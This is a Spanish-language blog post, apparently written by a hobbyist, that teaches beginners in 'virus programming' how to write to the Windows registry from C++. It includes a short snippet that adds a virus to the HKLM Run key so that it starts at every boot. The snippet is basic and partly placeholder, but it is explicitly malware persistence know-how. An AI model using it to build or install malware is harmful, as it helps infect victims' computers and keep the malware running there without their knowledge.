Escribiendo en el registro de Windows desde C++

on martes, 22 de septiembre de 2009

Primero que nada debo aclarar que no soy ningún experto en programación, y lo que aquí les mostrare es algo básico de lo que llamo POM (Programación Orientada a Malware), talvez cuando yo aprenda mas sobre (POM), pueda hacer un escrito que se entienda de cómo programar un engendro desde cero, pero por ahora tengo pocos conocimientos sobre ello, así que se aceptan críticas y cualquier error o sugerencia, me gustaría, me lo dijeran en el blog o me lo notificaran vía E-mail.

Cada vez que alguien intenta iniciarse en el mundo de la programación vírica, por muy programador profesional que sea, si no se tiene una noción minima de cómo funciona un virus, de seguro tendrá problemas, la idea de este escrito es que los mas iniciados sepan como manipular el registro de Windows e iniciar sus bichos en cada inicio del computador, desactivar funciones, modificar valores y otras cosas mas.

De antemano me permito aclarar que el código que aquí se presente será compilado sin pro
blemas en Dev-C++ 4, pero que también debería compilarse sin problemas en CodeBlocks, entonces vallamos de lleno al tema.

Si hemos explorado alguna vez el registro de Windows habremos podido notar que de entrada el registro se divide en 5 ramas, las cuales son:

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_CURRENT_CONFIG



Cada una de las entradas anteriores cuenta con subcadenas, subclaves o rutinas de caracteres, estos mismos son los encargados de que Windows funcione tal como usted lo ve, pero por ahora no me pondré a explicar que significa cada uno de las entradas anteriores ya que no quiero que con este tema redacte mas de 10 hojas, mejor nos centraremos directamente en HKEY_LOCAL_MACHINE que es donde se encuentra la configuración mas importante de Windows y también donde se encuentran los programas que se inician automáticamente al arrancar Windows, que como es obvio por ahora es lo que nos interesa y para poder verlos solo basta abrir las subcarpetas o subcadena siguiente:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Como he dicho antes todo lo que se encuentre en esa cadena se iniciara automáticamente al arrancar Windows y es ahí donde también nosotros escribiremos.

Pero para poder escribir en el registro desde C++ debemos conocer antes que nada 4 funciones muy importantes para lograr nuestro objetivo.


HKEY hkey; esta función se declara para obtener la llave o cadena que queremos abrir.

RegCreateKey; Esta función nos permite escribir una ruta nueva en el registro de Windows y mas adelante veremos como funciona.

RegOpenKeyEx;
Esta función API se declara para abrir el registro.

RegSetValueEx; Esta se declara para escribir en el registro algún valor.

RegCloseKey; Esta función como ya se pudieron haber dado cuenta sirve para cerrar el registro.

Pero como todos dicen lo mejor para entender esto es practicando, a continuación presentare un pequeño código en el que se podrá apreciar las funciones antes expuestas.



HKEY hKey; // Llamamos a HKEY
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey,"Nombre del virus",0,REG_SZ,(const unsigned char*)s,sizeof(Ruta donde esta nuestro virus));
RegCloseKey(hKey);



Es todo por el momento, espero sea útil.

0 comentarios:

Publicar un comentario